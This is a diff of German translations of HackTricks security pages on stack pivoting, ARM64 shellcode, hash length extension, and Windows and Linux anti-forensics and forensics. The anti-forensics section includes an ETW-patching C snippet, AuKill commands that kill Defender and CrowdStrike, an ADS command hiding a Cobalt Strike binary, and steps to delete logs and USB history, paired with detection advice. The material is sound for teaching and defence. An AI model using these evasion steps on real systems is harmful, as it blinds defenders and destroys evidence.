+> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
 
 ## EBP könnte nicht verwendet werden
 
-Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, **kontrolliert EBP/RBP niemals ESP/RSP**. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.
+Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn eine Binärdatei mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, **kontrolliert EBP/RBP niemals ESP/RSP**. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.
 
 - Nicht optimiert / Frame-Pointer verwendet:
 ```bash
@@ -124,7 +124,7 @@ add    $0x10c,%esp  # reduce stack size
 pop    %ebx         # restore
 ret                 # return
 ```
-Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Pointer ganz weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
+Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger ganz weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
 
 ## Andere Möglichkeiten, RSP zu steuern
 
@@ -213,7 +213,7 @@ Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
 
 1) Verwenden Sie einen kleinen anfänglichen Overflow, um `read`/`recv` in einen großen beschreibbaren Bereich (z. B. `.bss`, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren.
 2) Kehren Sie in ein Pivot-Gadget zurück (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), um RSP in diesen Bereich zu verschieben.
-3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode `read`, dann zu ihm springen).
+3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode lesen und dann zu ihm springen).
 
 ## Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
 
@@ -240,7 +240,7 @@ grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wr
 (gdb) checksec
 ```
 - Hinweise für Labs/CTF:
-- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Minderung auf Produktionszielen.
+- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
 - JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell `ret`-basierte Pivots.
 
 - Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei `ret`; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
@@ -249,7 +249,7 @@ grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wr
 
 In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
 
-Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
+Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, **das `x30`**-Register zu kontrollieren.
 
 - Prolog
 
@@ -268,7 +268,7 @@ ret
 ```
 
 > [!CAUTION]
-> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
+> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
 
 Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
 
@@ -283,7 +283,7 @@ Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
 - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 - 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
-- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
+- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, indem man `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
 - Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK, `nousershstk`, `/proc/$PID/status`-Flags und Aktivierung über `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
 - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
 

src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

@@ -30,11 +30,11 @@ clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstac
 ```
 ## Kein ASLR & Kein Canary - Stack Overflow
 
-Um ASLR zu stoppen, führe aus:
+Um ASLR zu stoppen, führen Sie aus:
 ```bash
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
-Um den [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
+Um die [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
 
 Exploits:
 ```python
@@ -69,6 +69,6 @@ p.interactive()
 ```
 Die einzige "komplizierte" Sache, die hier zu finden wäre, wäre die Adresse im Stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der Adresse generiert, die ich mit gdb gefunden habe, aber als ich ihn dann ausgenutzt habe, hat es nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).
 
-Ich habe die generierte **`core`-Datei** (`gdb ./bog ./core`) geöffnet und die tatsächliche Adresse des Starts des Shellcodes überprüft.
+Ich öffnete die generierte **`core`-Datei** (`gdb ./bog ./core`) und überprüfte die tatsächliche Adresse des Starts des Shellcodes.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/crypto-and-stego/hash-length-extension-attack.md

@@ -17,14 +17,14 @@ Dann ist es möglich für einen **Angreifer**, **Daten** **anzuhängen** und ein
 
 ### Wie?
 
-Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen **Block von Daten hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), sie **den nächsten Block von Daten hinzufügen** und **hashen**.
+Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
 
 Stellen Sie sich vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
-Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
+Wenn ein Angreifer den String "append" anhängen möchte, kann er:
 
 - Einen MD5 von 64 "A"s generieren
-- Den Zustand des zuvor initialisierten Hashs auf 6036708eba0d11f6ef52ad44e8b74d5b ändern
+- Den Zustand des zuvor initialisierten Hash auf 6036708eba0d11f6ef52ad44e8b74d5b ändern
-- Die Zeichenfolge "append" anhängen
+- Den String "append" anhängen
 - Den Hash beenden und der resultierende Hash wird ein **gültiger für "secret" + "data" + "padding" + "append"** sein
 
 ### **Tool**

src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md

@@ -29,9 +29,9 @@ Das vorherige Bild ist die **Ausgabe**, die von dem **Tool** angezeigt wird, wo
 
 ![](<../../images/image (137).png>)
 
-Wiederum ist in der Ausgabe des Tools zu sehen, dass **einige Änderungen vorgenommen wurden**.
+Wiederum ist es in der Ausgabe des Tools möglich zu sehen, dass **einige Änderungen vorgenommen wurden**.
 
-Mit demselben Tool ist es möglich zu identifizieren, **zu welchem Zeitpunkt die Zeitstempel geändert wurden**:
+Mit demselben Tool ist es möglich zu identifizieren, **zu welcher Zeit die Zeitstempel geändert wurden**:
 
 ![](<../../images/image (1089).png>)
 
@@ -42,7 +42,7 @@ Mit demselben Tool ist es möglich zu identifizieren, **zu welchem Zeitpunkt die
 
 ### Vergleich von `$STANDARD_INFORMATION` und `$FILE_NAME`
 
-Eine weitere Möglichkeit, verdächtig modifizierte Dateien zu identifizieren, wäre der Vergleich der Zeit in beiden Attributen auf **Unstimmigkeiten** zu überprüfen.
+Eine weitere Möglichkeit, verdächtig modifizierte Dateien zu identifizieren, wäre der Vergleich der Zeit auf beiden Attributen auf **Unstimmigkeiten**.
 
 ### Nanosekunden
 
@@ -86,7 +86,7 @@ Dies ist ein Registrierungsschlüssel, der Daten und Uhrzeiten speichert, wann j
 Das Deaktivieren von UserAssist erfordert zwei Schritte:
 
 1. Setzen Sie zwei Registrierungsschlüssel, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` und `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, beide auf null, um anzuzeigen, dass wir UserAssist deaktivieren möchten.
-2. Löschen Sie Ihre Registrierungssubtrees, die wie `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` aussehen.
+2. Löschen Sie Ihre Registrierungssubbäume, die wie `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` aussehen.
 
 ### Zeitstempel deaktivieren - Prefetch
 
@@ -96,9 +96,9 @@ Dies speichert Informationen über die ausgeführten Anwendungen mit dem Ziel, d
 - Wählen Sie den Dateipfad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
 - Klicken Sie mit der rechten Maustaste auf `EnablePrefetcher` und `EnableSuperfetch`
 - Wählen Sie Ändern für jeden dieser Werte, um den Wert von 1 (oder 3) auf 0 zu ändern
-- Neustart
+- Neustarten
 
-### Zeitstempel deaktivieren - Letzter Zugriffszeit
+### Zeitstempel deaktivieren - Letzte Zugriffszeit
 
 Immer wenn ein Ordner von einem NTFS-Volume auf einem Windows NT-Server geöffnet wird, nimmt das System sich die Zeit, um **ein Zeitstempelfeld für jeden aufgelisteten Ordner zu aktualisieren**, das als letzte Zugriffszeit bezeichnet wird. Bei einem stark genutzten NTFS-Volume kann dies die Leistung beeinträchtigen.
 
@@ -109,7 +109,7 @@ Immer wenn ein Ordner von einem NTFS-Volume auf einem Windows NT-Server geöffne
 
 ### USB-Historie löschen
 
-Alle **USB-Geräteeinträge** werden in der Windows-Registrierung unter dem **USBSTOR**-Registrierungsschlüssel gespeichert, der Unterschlüssel enthält, die erstellt werden, wenn Sie ein USB-Gerät an Ihren PC oder Laptop anschließen. Sie finden diesen Schlüssel hier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Durch das Löschen dieses Schlüssels** löschen Sie die USB-Historie.\
+Alle **USB-Geräteeinträge** werden in der Windows-Registrierung unter dem **USBSTOR**-Registrierungsschlüssel gespeichert, der Unterschlüssel enthält, die erstellt werden, wenn Sie ein USB-Gerät an Ihren PC oder Laptop anschließen. Sie finden diesen Schlüssel hier: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Durch das Löschen dieses Schlüssels** löschen Sie die USB-Historie.\
 Sie können auch das Tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) verwenden, um sicherzustellen, dass Sie sie gelöscht haben (und um sie zu löschen).
 
 Eine weitere Datei, die Informationen über die USBs speichert, ist die Datei `setupapi.dev.log` im Verzeichnis `C:\Windows\INF`. Diese sollte ebenfalls gelöscht werden.
@@ -152,7 +152,7 @@ Es ist auch möglich, die Konfiguration zu ändern, welche Dateien in der Schatt
 
 ---
 
-## Fortgeschrittene Protokollierung & Trace-Manipulation (2023-2025)
+## Fortgeschrittene Protokollierung & Spurenmanipulation (2023-2025)
 
 ### PowerShell ScriptBlock/Modul-Protokollierung
 
@@ -170,11 +170,11 @@ New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShel
 Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
 Remove-WinEvent               # requires admin & Win11 23H2+
 ```
-Verteidiger sollten Änderungen an diesen Registrierungsschlüsseln und eine hohe Anzahl von Löschungen von PowerShell-Ereignissen überwachen.
+Verteidiger sollten Änderungen an diesen Registrierungsschlüsseln und eine hohe Anzahl von entfernten PowerShell-Ereignissen überwachen.
 
 ### ETW (Event Tracing for Windows) Patch
 
-Endpoint-Sicherheitsprodukte verlassen sich stark auf ETW. Eine beliebte Umgehungsmethode im Jahr 2024 besteht darin, `ntdll!EtwEventWrite`/`EtwEventWriteFull` im Speicher zu patchen, sodass jeder ETW-Aufruf `STATUS_SUCCESS` zurückgibt, ohne das Ereignis auszugeben:
+Endpoint-Sicherheitsprodukte verlassen sich stark auf ETW. Eine beliebte Umgehungsmethode aus dem Jahr 2024 besteht darin, `ntdll!EtwEventWrite`/`EtwEventWriteFull` im Speicher zu patchen, sodass jeder ETW-Aufruf `STATUS_SUCCESS` zurückgibt, ohne das Ereignis auszugeben:
 ```c
 // 0xC3 = RET on x64
 unsigned char patch[1] = { 0xC3 };
@@ -182,14 +182,11 @@ WriteProcessMemory(GetCurrentProcess(),
 GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
 patch, sizeof(patch), NULL);
 ```
-Öffentliche PoCs (z.B. `EtwTiSwallow`) implementieren dasselbe Primitive in PowerShell oder C++. 
+Öffentliche PoCs (z.B. `EtwTiSwallow`) implementieren dasselbe Primitive in PowerShell oder C++. Da der Patch **prozesslokal** ist, können EDRs, die in anderen Prozessen laufen, ihn möglicherweise übersehen. Erkennung: Vergleiche `ntdll` im Speicher mit dem auf der Festplatte oder hooke vor dem Benutzermodus.
-Da der Patch **prozesslokal** ist, können EDRs, die in anderen Prozessen laufen, ihn möglicherweise übersehen. 
-Erkennung: Vergleiche `ntdll` im Speicher mit dem auf der Festplatte oder hooke vor dem Benutzermodus.
 
 ### Wiederbelebung von Alternativen Datenströmen (ADS)
 
-Malware-Kampagnen im Jahr 2023 (z.B. **FIN12** Loader) wurden beobachtet, wie sie zweite Stufen-Binärdateien 
+Malware-Kampagnen im Jahr 2023 (z.B. **FIN12** Loader) wurden beobachtet, wie sie zweite Stufen-Binärdateien innerhalb von ADS platzieren, um sich vor traditionellen Scannern zu verstecken:
-innerhalb von ADS platzieren, um sich vor traditionellen Scannern zu verstecken:
 ```cmd
 rem Hide cobalt.bin inside an ADS of a PDF
 type cobalt.bin > report.pdf:win32res.dll
@@ -200,7 +197,7 @@ Enumerieren Sie Streams mit `dir /R`, `Get-Item -Stream *` oder Sysinternals `st
 
 ### BYOVD & “AuKill” (2023)
 
-Bring-Your-Own-Vulnerable-Driver wird jetzt routinemäßig für **Anti-Forensik** bei Ransomware-Einbrüchen verwendet. Das Open-Source-Tool **AuKill** lädt einen signierten, aber anfälligen Treiber (`procexp152.sys`), um EDR- und forensische Sensoren **vor der Verschlüsselung & Protokolldestruktion** auszusetzen oder zu beenden:
+Bring-Your-Own-Vulnerable-Driver wird jetzt routinemäßig für **Anti-Forensik** bei Ransomware-Einbrüchen verwendet. Das Open-Source-Tool **AuKill** lädt einen signierten, aber anfälligen Treiber (`procexp152.sys`), um EDR- und forensische Sensoren **vor der Verschlüsselung & Protokolldestruktion** anzuhalten oder zu beenden:
 ```cmd
 AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
 AuKill.exe -k CrowdStrike
@@ -216,8 +213,8 @@ Minderungen: Aktivieren Sie die Microsoft-Blockliste für anfällige Treiber (HV
 Gegner "selbstpatchen" zunehmend einen Dienst direkt nach der Ausnutzung, um sowohl eine erneute Ausnutzung zu verhindern als auch erkenntnisbasierte Erkennungen zu unterdrücken. Die Idee ist, anfällige Komponenten durch die neuesten legitimen Upstream-Binärdateien/JARs zu ersetzen, sodass Scanner den Host als gepatcht melden, während Persistenz und C2 bestehen bleiben.
 
 Beispiel: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)  
-- Nach der Ausnutzung holten sich die Angreifer legitime JARs von Maven Central (repo1.maven.org), löschten anfällige JARs in der ActiveMQ-Installation und starteten den Broker neu.  
+- Nach der Ausnutzung holten sich Angreifer legitime JARs von Maven Central (repo1.maven.org), löschten anfällige JARs in der ActiveMQ-Installation und starteten den Broker neu.  
-- Dies schloss die ursprüngliche RCE, während andere Fußabdrücke (cron, SSH-Konfigurationsänderungen, separate C2-Implantate) erhalten blieben.
+- Dies schloss die ursprüngliche RCE, während andere Fußfassen (cron, SSH-Konfigurationsänderungen, separate C2-Implantate) erhalten blieben.
 
 Betriebliche Beispiel (veranschaulichend)
 ```bash
@@ -242,22 +239,22 @@ Forensische/Jagd Tipps
 - Debian/Ubuntu: `dpkg -V activemq` und vergleichen Sie Dateihashes/Pfade mit Repo-Spiegeln.
 - RHEL/CentOS: `rpm -Va 'activemq*'`
 - Suchen Sie nach JAR-Versionen, die auf der Festplatte vorhanden sind und nicht vom Paketmanager verwaltet werden, oder nach symbolischen Links, die außerhalb des Bandes aktualisiert wurden.
-- Zeitachse: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` um ctime/mtime mit dem Kompromissfenster zu korrelieren.
+- Zeitachse: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort`, um ctime/mtime mit dem Kompromissfenster zu korrelieren.
 - Shell-Historie/Prozess-Telemetrie: Beweise für `curl`/`wget` zu `repo1.maven.org` oder anderen Artefakt-CDNs unmittelbar nach der ersten Ausnutzung.
 - Änderungsmanagement: Validieren Sie, wer den „Patch“ angewendet hat und warum, nicht nur, dass eine gepatchte Version vorhanden ist.
 
-### Cloud-Service C2 mit Träger-Token und Anti-Analyse-Stager
+### Cloud-Service C2 mit Bearer-Token und Anti-Analyse-Stagern
 Beobachtete Handwerkskunst kombinierte mehrere langfristige C2-Pfade und Anti-Analyse-Pakete:
 - Passwortgeschützte PyInstaller ELF-Loader, um Sandboxing und statische Analyse zu behindern (z. B. verschlüsseltes PYZ, temporäre Extraktion unter `/_MEI*`).
 - Indikatoren: `strings` Treffer wie `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`.
 - Laufzeitartefakte: Extraktion nach `/tmp/_MEI*` oder benutzerdefinierte `--runtime-tmpdir` Pfade.
-- Dropbox-unterstütztes C2 mit fest codierten OAuth-Bearer-Token
+- Dropbox-unterstütztes C2 mit fest codierten OAuth Bearer-Token
 - Netzwerkmarker: `api.dropboxapi.com` / `content.dropboxapi.com` mit `Authorization: Bearer <token>`.
-- Suchen Sie in Proxy/NetFlow/Zeek/Suricata nach ausgehenden HTTPS zu Dropbox-Domains von Server-Workloads, die normalerweise keine Dateien synchronisieren.
+- Suchen Sie in Proxy/NetFlow/Zeek/Suricata nach ausgehenden HTTPS zu Dropbox-Domains von Serverlasten, die normalerweise keine Dateien synchronisieren.
 - Parallel/Backup C2 über Tunneling (z. B. Cloudflare Tunnel `cloudflared`), Kontrolle behalten, wenn ein Kanal blockiert ist.
-- Host IOCs: `cloudflared` Prozesse/Einheiten, Konfiguration unter `~/.cloudflared/*.json`, ausgehendes 443 zu Cloudflare-Edges.
+- Host-IOCs: `cloudflared` Prozesse/Einheiten, Konfiguration unter `~/.cloudflared/*.json`, ausgehendes 443 zu Cloudflare-Edges.
 
-### Persistenz und „Hardening-Rollback“, um den Zugriff aufrechtzuerhalten (Linux-Beispiele)
+### Persistenz und „Härtungs-Rollback“, um den Zugriff aufrechtzuerhalten (Linux-Beispiele)
 Angreifer kombinieren häufig Selbstpatching mit dauerhaften Zugangswegen:
 - Cron/Anacron: Änderungen am `0anacron` Stub in jedem `/etc/cron.*/` Verzeichnis für die periodische Ausführung.
 - Suchen:
@@ -265,17 +262,17 @@ Angreifer kombinieren häufig Selbstpatching mit dauerhaften Zugangswegen:
 for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
 grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
 ```
-- SSH-Konfigurations-Hardening-Rollback: Aktivierung von Root-Logins und Änderung der Standard-Shells für niedrigprivilegierte Konten.
+- SSH-Konfigurationshärtungs-Rollback: Aktivierung von Root-Logins und Änderung der Standard-Shells für niedrigprivilegierte Konten.
 - Suchen Sie nach der Aktivierung von Root-Logins:
 ```bash
 grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
-# Flag-Werte wie "yes" oder zu großzügige Einstellungen
+# Flag-Werte wie "yes" oder übermäßig permissive Einstellungen
 ```
 - Suchen Sie nach verdächtigen interaktiven Shells auf Systemkonten (z. B. `games`):
 ```bash
 awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
 ```
-- Zufällige, kurz benannte Beacon-Artefakte (8 alphabetische Zeichen), die auf die Festplatte geschrieben werden und ebenfalls Cloud C2 kontaktieren:
+- Zufällige, kurz benannte Beacon-Artefakte (8 alphabetische Zeichen), die auf die Festplatte geschrieben werden und ebenfalls Cloud-C2 kontaktieren:
 - Suchen:
 ```bash
 find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \

src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md

@@ -11,7 +11,7 @@ Zunächst wird empfohlen, ein **USB** mit **gut bekannten Binaries und Bibliothe
 export PATH=/mnt/usb/bin:/mnt/usb/sbin
 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
 ```
-Sobald Sie das System so konfiguriert haben, dass es gute und bekannte Binärdateien verwendet, können Sie **einige grundlegende Informationen extrahieren**:
+Sobald Sie das System so konfiguriert haben, dass es gute und bekannte Binaries verwendet, können Sie **einige grundlegende Informationen extrahieren**:
 ```bash
 date #Date and time (Clock may be skewed, Might be at a different timezone)
 uname -a #OS info
@@ -33,7 +33,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
 
 Während Sie die grundlegenden Informationen sammeln, sollten Sie nach seltsamen Dingen suchen, wie zum Beispiel:
 
-- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, also wenn Sie einen Root-Prozess mit einer großen PID finden, sollten Sie misstrauisch sein.
+- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, also wenn Sie einen Root-Prozess mit einer hohen PID finden, könnten Sie misstrauisch werden.
 - Überprüfen Sie die **registrierten Logins** von Benutzern ohne eine Shell in `/etc/passwd`.
 - Überprüfen Sie auf **Passworthashes** in `/etc/shadow` für Benutzer ohne eine Shell.
 
@@ -46,7 +46,7 @@ Um es zu **kompilieren**, müssen Sie den **gleichen Kernel** verwenden, den die
 > Denken Sie daran, dass Sie **LiME oder irgendetwas anderes** nicht auf der Zielmaschine installieren können, da dies mehrere Änderungen daran vornehmen würde.
 
 Wenn Sie also eine identische Version von Ubuntu haben, können Sie `apt-get install lime-forensics-dkms` verwenden.\
-In anderen Fällen müssen Sie [**LiME**](https://github.com/504ensicsLabs/LiME) von GitHub herunterladen und es mit den richtigen Kernel-Headern kompilieren. Um die **genauen Kernel-Header** der Zielmaschine zu erhalten, können Sie einfach das Verzeichnis `/lib/modules/<kernel version>` auf Ihre Maschine kopieren und dann LiME mit diesen kompilieren:
+In anderen Fällen müssen Sie [**LiME**](https://github.com/504ensicsLabs/LiME) von GitHub herunterladen und es mit den richtigen Kernel-Headern kompilieren. Um die **genauen Kernel-Header** der Zielmaschine zu erhalten, können Sie einfach das **Verzeichnis** `/lib/modules/<kernel version>` auf Ihre Maschine kopieren und dann LiME mit diesen kompilieren:
 ```bash
 make -C /lib/modules/<kernel version>/build M=$PWD
 sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@@ -57,14 +57,14 @@ LiME unterstützt 3 **Formate**:
 - Padded (gleich wie raw, aber mit Nullen in den rechten Bits)
 - Lime (empfohlenes Format mit Metadaten)
 
-LiME kann auch verwendet werden, um den **Dump über das Netzwerk zu senden**, anstatt ihn auf dem System zu speichern, indem man etwas wie `path=tcp:4444` verwendet.
+LiME kann auch verwendet werden, um den Dump über das Netzwerk zu **senden**, anstatt ihn auf dem System zu speichern, indem man etwas wie `path=tcp:4444` verwendet.
 
 ### Festplattenabbildung
 
 #### Herunterfahren
 
 Zunächst müssen Sie das **System herunterfahren**. Dies ist nicht immer eine Option, da das System manchmal ein Produktionsserver ist, den sich das Unternehmen nicht leisten kann, herunterzufahren.\
-Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es könnte auch dem möglichen **Malware** ermöglichen, **Beweise zu vernichten**. Der "Stecker ziehen"-Ansatz kann **einige Informationsverluste** mit sich bringen (nicht viele Informationen werden verloren gehen, da wir bereits ein Abbild des Speichers erstellt haben) und die **Malware hat keine Möglichkeit**, etwas dagegen zu unternehmen. Daher, wenn Sie **verdächtigen**, dass es **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
+Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es erlaubt auch, dass mögliche **Malware** **Beweise zerstört**. Der "Stecker ziehen"-Ansatz kann **einige Informationsverluste** mit sich bringen (nicht viele Informationen werden verloren gehen, da wir bereits ein Abbild des Speichers gemacht haben) und die **Malware wird keine Gelegenheit haben**, etwas dagegen zu unternehmen. Daher, wenn Sie **vermuten**, dass es **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
 
 #### Erstellen eines Abbilds der Festplatte
